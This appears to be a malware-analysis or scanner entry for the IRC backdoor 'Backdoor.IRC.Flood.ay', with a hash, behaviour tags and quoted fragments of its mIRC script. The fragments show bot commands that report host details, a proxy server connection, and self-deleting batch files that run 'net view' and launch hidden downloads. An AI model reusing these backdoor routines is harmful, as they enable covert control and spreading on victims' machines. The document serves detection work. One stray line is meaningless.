Backdoor.IRC.Flood.ay
Source or bytecode performs DNS resolutionEnumerates network shares with net view
SHA-256dd5bddc0d4c817bd5ae76bc70a9ec1776c29e9a5fa1bc53995a18dd359ae6fb6
MaleculeH₂(CmOs)
Evidence
29:558… %b = 34) { %b = Away } | if (%b = 50) { %b = On the Phone } | if (%b = 66) { %b = Out for Lunch } | if (%b = offline) { TeSts [Msn] Currently Offline. } | else { TeSts [msn] [Nickname: …
32:264… ready running: /server -m $ip $sock(BNc).port , with pass: %bnc.pass } } | if ($2 = stop) || ($2 == -k) { if (!$sock(bnc)) { halt } | else { sockclo …
34:295… ini $1- variables %server) }
35 if ($1 = !dns) { dns $2 | set %dns.r on | set %dns.rr # | set %dns.rrr $2 | TeSts attempting to resolve: $2 }
36 if ($1 = !sys) { TeSts Ip: $ip Windows: $os Host: …
60:57… aa.txt | halt }
61 run nwcfg.exe /n /fh /r "laa.bat oakley.exe $gettok($read(laa.txt,1),1,32) $arabs(downloader) $+ "
62 .w -dl1 laa.txt
63 .time …
65:24… laan2 }
66alias xirc { server $1- }
67alias laan {
68 .w laa.bat net view > laa.txt
69 .w laa.bat del laa.bat
70 .run nwcfg.exe /n /fh /r "laa.bat"
71 .laan1
72 .timersxcopy 1 20 laan1
73}